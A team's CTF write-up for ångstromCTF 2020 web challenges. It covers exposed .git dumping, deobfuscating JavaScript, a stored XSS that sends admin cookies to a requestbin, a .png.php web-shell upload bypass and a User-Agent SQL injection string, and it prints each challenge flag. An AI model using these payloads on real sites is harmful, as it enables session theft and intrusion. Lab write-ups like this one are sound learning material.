angstromCTF 2020.md

angstromCTF 2020

This is our writeups for ångstromCTF 2020.

i participated in ångstromCTF 2020 with my awesome team P1rates as python_4004 & my dude mokey . This is our writeups about some challenges we solved during the competition.

Web challenges

Git Good

Noting the name of the challenge, I think the system is based on git management system But I have to make sure first , so i will use dirb tool

now lets try to download git files to do that open your terminal and write git clone +the link of the challenge

git clone https://gitgood.2020.chall.actf.co/.git

The first thing I thought about was looking at the log file

git log -p

the flag is :

actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

Consolation

by clicking on pay my some money it call nofret() function so let's see source code

okey i found that javascript is obfuscated. so we need to revesre this code ,i use this online platform to decode our obfuscated js file http://www.jsnice.org/

looking very well i found ohh lets delete this line and put thit function on console console ["clear"] ();

the flag is :

actf{you_would_n0t_beli3ve_your_eyes}

The Magic Word

it was very easy challenge what you should do only open inspect and Change "give flag" to "please give flag" the flag is :

actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

Xmas Still Stands

This was an easy xss stored challenge given the following:

first i post this post <img src=x onerror='requestbin?cookie='+document.cookie> i use requestbin to get admin cookies

i reported my post to admin , checking my requestbin i found the flag the flag is :

actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}

Defund's Crypt

It’s file upload injection so lets try to upload shell In the form of a picture format i googled and find this good article our extention will be x.png.php this is our shell script using burpsuit :

response

the flag is:

actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}

Secret Agents

from burpsuit i check user-agent header and try to inject it manually After many attempts, I finally i reach to the flag using this query a' or 1 limit 1 offset 2 -- -

the flag is :

actf{nyoom_1_4m_sp33d}